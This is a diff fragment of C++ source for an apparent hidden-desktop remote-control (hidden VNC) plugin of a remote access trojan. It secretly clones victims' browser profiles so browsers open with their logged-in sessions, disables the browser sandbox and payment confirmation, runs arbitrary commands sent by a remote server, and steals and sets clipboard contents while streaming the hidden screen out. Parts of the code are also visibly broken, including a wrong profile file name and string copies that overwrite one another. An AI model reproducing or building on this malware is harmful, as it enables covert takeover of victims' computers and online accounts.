if (hFindFile == INVALID_HANDLE_VALUE)
return;
do {
TCHAR currFileFrom[MAX_PATH] = { 0 };
lstrcpy(currFileFrom, from);
lstrcat(currFileFrom, _T("\\"));
lstrcat(currFileFrom, findData.cFileName);
TCHAR currFileTo[MAX_PATH] = { 0 };
lstrcpy(currFileTo, to);
lstrcat(currFileTo, _T("\\"));
lstrcat(currFileTo, findData.cFileName);
if
(
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
strcmp(findData.cFileName, _T(".")) &&
strcmp(findData.cFileName, _T(".."))
) {
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
CopyDir(currFileFrom, currFileTo);
} else
CopyFile(currFileFrom, currFileTo, FALSE);
} while (FindNextFile(hFindFile, &findData));
}
void killproc(const TCHAR* name)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes) {
if (strcmp(pEntry.szExeFile, name) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
(DWORD)pEntry.th32ProcessID);
if (hProcess != NULL) {
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
CScreenManagerBase(pClient, nBitDepth, user)
{
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
}
CScreenHideManager::~CScreenHideManager()
{
}
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0]) {
case COMMAND_FLUSH_HIDE:
ResetScreen(32);
break;
case COMMAND_SCREEN_CONTROL:
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendClientClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
break;
case COMMAND_SCREEN_SETSCREEN_HIDE:
Loop_Screen();
break;
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
m_ScreenSpyObject->SendQuality(60);
break;
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
m_ScreenSpyObject->SendQuality(85);
break;
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
m_ScreenSpyObject->SendQuality(100);
break;
case COMMAND_HIDE_USER: {
return OnUserCommand(lpBuffer, nSize);
}
break;
case COMMAND_HIDE_CLEAR:
SafeTerminateDesktopProcesses(g_hDesk);
break;
default:
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
break;
}
}
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
char* deskName = (char*)m_DesktopID.c_str();
switch (lpBuffer[1]) {
case IDM_OPEN_Explorer: {
const DWORD neverCombine = 2;
const TCHAR* valueName = _T("TaskbarGlomLevel");
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
DWORD value;
DWORD size = sizeof(DWORD);
DWORD type = REG_DWORD;
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
if (value != neverCombine)
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
TCHAR explorerPath[MAX_PATH] = { 0 };
GetWindowsDirectory(explorerPath, MAX_PATH);
lstrcat(explorerPath, _T("\\"));
lstrcat(explorerPath, _T("explorer.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
APPBARDATA appbarData;
appbarData.cbSize = sizeof(appbarData);
for (int i = 0; i < 5; ++i) {
Sleep(1000);
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
if (appbarData.hWnd)
break;
}
appbarData.lParam = ABS_ALWAYSONTOP;
SHAppBarMessage(ABM_SETSTATE, &appbarData);
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
RegCloseKey(hKey);
break;
}
case IDM_OPEN_run: {
TCHAR rundllPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Powershell: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Chrome: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcat(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR botId[35] = { 0 };
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcat(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Edge: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("msedge.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Brave: {
killproc(_T("brave.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("brave.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Firefox: {
TCHAR firefoxPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
TCHAR profilesIniPath[MAX_PATH] = { 0 };
lstrcat(profilesIniPath, firefoxPath);
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hProfilesIni == INVALID_HANDLE_VALUE)
return;
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
DWORD read;
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
profilesIniContent[profilesIniSize] = 0;
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
if (!isRelativeRead) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
isRelativeRead += 11;
BOOL isRelative = (*isRelativeRead == _T('1'));
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
if (!path) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
TCHAR* pathEnd = StrStr(path, _T("\r"));
if (!pathEnd) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
*pathEnd = 0;
path += 5;
TCHAR realPath[MAX_PATH] = { 0 };
if (isRelative)
lstrcpy(realPath, firefoxPath);
lstrcat(realPath, path);
TCHAR newPath[MAX_PATH];
lstrcpy(newPath, firefoxPath);
lstrcpy(newPath, deskName);
CopyDir(realPath, newPath);
TCHAR browserPath[MAX_PATH] = { 0 };
lstrcpy(browserPath, _T("cmd.exe /c start "));
lstrcpy(browserPath, _T("firefox.exe"));
lstrcpy(browserPath, _T(" -no-remote -profile "));
lstrcpy(browserPath, _T("\""));
lstrcpy(browserPath, newPath);
lstrcpy(browserPath, _T("\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Iexplore: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("iexplore.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy2: {
ZdyCmd m_ZdyCmd = {};
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, m_ZdyCmd.cmdline);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, m_ZdyCmd.newpath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360JS: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("360chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("secoresdk\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ2: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("360se6\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
}
}
void CScreenHideManager::InitScreenSpy() {
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
}
else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
{
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
BYTE* param = (BYTE*)m_ptrUser;
int compress = ALGORITHM_DIFF;
if (param) {
compress = param[1];
delete[] param;
m_ptrUser = NULL;
}
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
}
} // namespace SimplePluginsScreenHide
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include "ScreenHideSpy.h"
#include "ScreenManagerBase.h"
namespace SimplePluginsScreenHide {
class CScreenHideManager : public CScreenManagerBase
{
public:
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
virtual ~CScreenHideManager();
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
virtual void InitScreenSpy();
};
} // namespace SimplePluginsScreenHide
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include "ScreenSpy.h"
namespace SimplePluginsScreenHide {
// 隐私屏幕捕获器。
//
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
class CScreenHideSpy : public ::CScreenSpy
{
public:
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
{
}
};
} // namespace SimplePluginsScreenHide
+642
View File
@@ -0,0 +1,642 @@
#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
